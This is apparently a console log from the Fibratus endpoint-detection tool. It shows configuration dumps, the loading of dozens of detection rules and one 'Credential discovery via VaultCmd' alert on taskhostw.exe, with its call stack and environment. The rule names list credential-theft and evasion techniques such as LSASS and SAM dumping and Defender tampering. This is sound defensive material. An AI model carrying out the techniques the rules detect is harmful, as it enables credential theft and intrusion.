transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-mem=>false enable-vamap=>true enable-audit-api=>true enable-dns=>false enable-threadpool=>false enable-handle=>false min-buffers=>16 enable-image=>true stack-enrichment=>true enable-net=>true enable-registry=>true flush-interval=>1s buffer-size=>512 max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info max-size=>100] + output ......................... [ amqp=>[ exchange=>fibratus passive=>false tls-insecure-skip-verify=>false exchange-type=>topic durable=>false vhost=>/ timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false] elasticsearch=>[ sniff=>false template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck=>true trace-log=>false flush-period=>1s timeout=>5s healthcheck-timeout=>5s enabled=>false gzip-compression=>false index-name=>fibratus] http=>[ endpoints=>[] enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s serializer=>json] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-files=>false excluded-files=>[] scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:52:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:52:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:55:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:55:24+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:55:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:58:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T22:58:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T22:58:27+01:00 level=info msg=bootstrapping with pid 16196. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:58:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 enabled=>false to=>[] use-template=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true flush-interval=>1s max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-dns=>false enable-registry=>true enable-threadpool=>false enable-fileio=>true enable-audit-api=>true enable-thread=>true enable-net=>true buffer-size=>512 enable-image=>true stack-enrichment=>true enable-handle=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 log-stdout=>true level=>info formatter=>text] + output ......................... [ amqp=>[ timeout=>5s routing-key=>fibratus exchange=>fibratus enabled=>false vhost=>/ tls-insecure-skip-verify=>false durable=>false exchange-type=>topic passive=>false delivery-mode=>transient url=>amqp://localhost:5672] http=>[ method=>POST endpoints=>[] serializer=>json enable-gzip=>false timeout=>5s enabled=>false tls-insecure-skip-verify=>false] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s flush-period=>1s gzip-compression=>false healthcheck=>true enabled=>false bulk-workers=>1 sniff=>false trace-log=>false index-name=>fibratus healthcheck-timeout=>5s template-name=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] skip-files=>false excluded-files=>[] skip-registry=>false scan-timeout=>10s fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:58:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:58:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb77db2377 C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8a190 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d54fb0 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7506dd0f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb541cbb97 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391455 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2693397 +0100 CET + Params: file_key➜ ffff808cc4cd0700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb63000000, view_size➜ 212992 + Metadata: tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 